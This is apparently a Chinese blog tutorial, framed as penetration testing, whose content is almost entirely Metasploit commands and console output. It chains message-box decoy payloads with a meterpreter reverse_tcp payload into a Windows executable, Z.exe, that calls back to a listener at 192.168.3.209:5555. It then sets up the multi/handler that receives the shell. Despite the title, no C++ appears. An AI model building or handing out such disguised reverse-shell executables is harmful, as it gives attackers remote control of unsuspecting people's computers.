利用C++配合msfconsole进行渗透测试

简介

C++既可以进行C语言的过程化程序设计,又可以进行以抽象数据类型为特点的基于对象的程序设计语言。本文将为你讲解利用C++配合MSF进行渗透测试。喜欢的话就收藏点赞吧!

一、MSF对话框

msfvenom -a x86 --platform windows -p windows/messagebox TEXT="bbskali.cn" -f raw > messageBox

说明:

  1. -a:操作系统的类型 64位和32位
  2. -p:指定攻击平台 windows
  3. TEXT:对话框中显示的文字
  4. -f:输出格式

image

二、生成二级标题

msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="blog.bbskali.cn" -f raw > messageBox2

image

生成含有标题的shell

三、将c++打包生成exe

msfvenom -c messageBox2 -a x86 --platform Windows -p 
windows/meterpreter/reverse_tcp LHOST=192.168.3.209 LPORT=5555 -f exe -o Z.exe

说明:

  1. LHOST:本机ip地址
  2. ​LPORT:端口
  3. -o :生成文件

image

四、终端启动msfconsole并配置参数

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port
Exploit target:
  Id  Name
   --  ----
   0   Wildcard Target
msf exploit(multi/handler) > set LHOST 192.168.3.209
LHOST => 192.168.3.209
msf exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf exploit(multi/handler) > exploit

五、运行shell

image

六、得到shell

image

成功效果

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容